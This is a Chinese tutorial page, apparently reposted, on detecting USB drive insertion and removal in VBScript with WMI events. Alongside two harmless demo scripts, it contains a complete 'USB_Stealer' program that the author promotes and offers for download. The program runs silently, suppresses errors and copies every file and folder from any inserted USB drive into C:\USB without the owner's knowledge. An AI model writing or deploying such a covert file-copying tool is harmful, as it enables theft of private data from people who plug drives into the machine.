返回顶部
首页 > 资讯 > 精选 >怎么用VBS检测U盘插入与弹出事件
  • 361
分享到

怎么用VBS检测U盘插入与弹出事件

2023-06-08 10:06:17 361人浏览 安东尼
摘要

这篇文章主要介绍怎么用VBS检测U盘插入与弹出事件,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!可以说,对WMI的掌握程度的多少直接决定了你的VBS水平高低。看过网上普遍流传VBS版U盘小偷程序,基本上都是靠无限循环

这篇文章主要介绍怎么用VBS检测U盘插入与弹出事件,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!

可以说,对WMI的掌握程度的多少直接决定了你的VBS水平高低。看过网上普遍流传VBS版U盘小偷程序,基本上都是靠无限循环实现的,一点技术含量也没有,文章的末尾给出了我写的VBS版U盘小偷程序的下载地址。虽然用WMI也得无限循环,但是效率是不一样的。

使用WMI的Win32_VolumeChangeEvent类就可以实现,下面是示例代码

Const Configuration_Changed = 1
Const Device_Arrival = 2
Const Device_Removal = 3
Const Docking = 4
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
WScript.Echo "U盘插入,盘符为" & _
objLatestEvent.DriveName
Case Device_Removal
WScript.Echo "U盘弹出,盘符为" & _
objLatestEvent.DriveName
End Select
Loop


我也写了一个U盘小偷程序,自以为比网上抄来抄去的代码要好,感兴趣的可以下载来看看。

代码如下:


'==========================================
'Name : USB_Stealer
'Date : 2010/5/25
'Author : Demon
'Copyright : Copyright (c) 2010 Demon
'E-Mail : still.demon@gmail.com
'QQ : 380401911
'WEBsite : Http://demon.tw
'==========================================
'Option Explicit
On Error Resume Next
Const Target_Folder = "C:\USB"

Call Main()

Sub Main()
On Error Resume Next
Const Device_Arrival = 2
Const Device_Removal = 3
Const strComputer = "."
Dim objWMIService, colMonitoredEvents, objLatestEvent

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
Copy_File objLatestEvent.DriveName
End Select
Loop
End Sub

Sub Copy_File(Folder_Path)
On Error Resume Next
Dim fso,file,folder
Set fso = CreateObject("scripting.filesystemobject")

If Not fso.FolderExists(Target_Folder) Then
fso.CreateFolder(Target_Folder)
End If

For Each file In fso.GetFolder(Folder_Path).Files
file.Copy Target_Folder & "\" & file.Name,True
Next

For Each folder In fso.GetFolder(Folder_Path).SubFolders
folder.Copy Target_Folder & "\" & folder.Name,True
Next
End Sub


鉴于很多人反映之前写的那篇在XP下无效,做了一下修改。说是修改,其实是直接复制粘贴脚本专家的代码。

复制代码 代码如下:


strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colEvents = objWMIService.ExecNotificationQuery _
("Select * From __InstanceOperationEvent Within 10 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")

Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 2 Then
Select Case objEvent.Path_.Class
Case "__InstanceCreationEvent"
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
" has been added."
Case "__InstanceDeletionEvent"
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
" has been removed."
End Select
End If
Loop

以上是“怎么用VBS检测U盘插入与弹出事件”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注编程网精选频道!

--结束END--

本文标题: 怎么用VBS检测U盘插入与弹出事件

本文链接: https://www.lsjlt.com/news/253498.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 怎么用VBS检测U盘插入与弹出事件
    这篇文章主要介绍怎么用VBS检测U盘插入与弹出事件,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!可以说,对WMI的掌握程度的多少直接决定了你的VBS水平高低。看过网上普遍流传VBS版U盘小偷程序,基本上都是靠无限循环...
    99+
    2023-06-08
  • win7怎么关闭插入u盘弹出扫描并修复u盘的提示
    这篇文章主要介绍了win7怎么关闭插入u盘弹出扫描并修复u盘的提示,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。方法/步骤: 在键盘上按下“win+r”打开运行窗口...
    99+
    2023-06-27
  • JS弹出窗口插件zDialog怎么用
    使用zDialog插件,可以按照以下步骤进行: 引入必要的文件:在HTML文件中,引入zDialog的CSS和JavaScript...
    99+
    2023-10-22
    JS zDialog
  • u盘被占用不能安全弹出怎么办?里面的文件怎么取出来
    当我们需要将u盘从电脑中安全弹出时,有时会遇到u盘被占用的情况,导致无法安全地弹出u盘,这时我们该如何处理呢? 第一部分:u盘被占用不能安全弹出怎么解决 u盘被占用不能安全弹出来里面的文件会丢失吗?当u盘被占用而不能安全弹出时,可能会出现数...
    99+
    2023-09-08
    服务器 windows linux
  • win10插入SD卡U盘手机自动打开文件怎么解决
    本篇内容介绍了“win10插入SD卡U盘手机自动打开文件怎么解决”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!win10插入SD卡、U盘、手...
    99+
    2023-07-01
  • Emergence.js检测元素可见性的js插件怎么用
    小编给大家分享一下Emergence.js检测元素可见性的js插件怎么用,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!Emerg...
    99+
    2024-04-02
  • 怎么使用contextMenu插件实现Bootstrap table弹出右键菜单
    这篇文章给大家分享的是有关怎么使用contextMenu插件实现Bootstrap table弹出右键菜单的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。代码(test.html)...
    99+
    2024-04-02
  • 怎么使用Series、Dataframe与numpy对二进制文件输入输出
    这篇“怎么使用Series、Dataframe与numpy对二进制文件输入输出”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“...
    99+
    2023-07-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作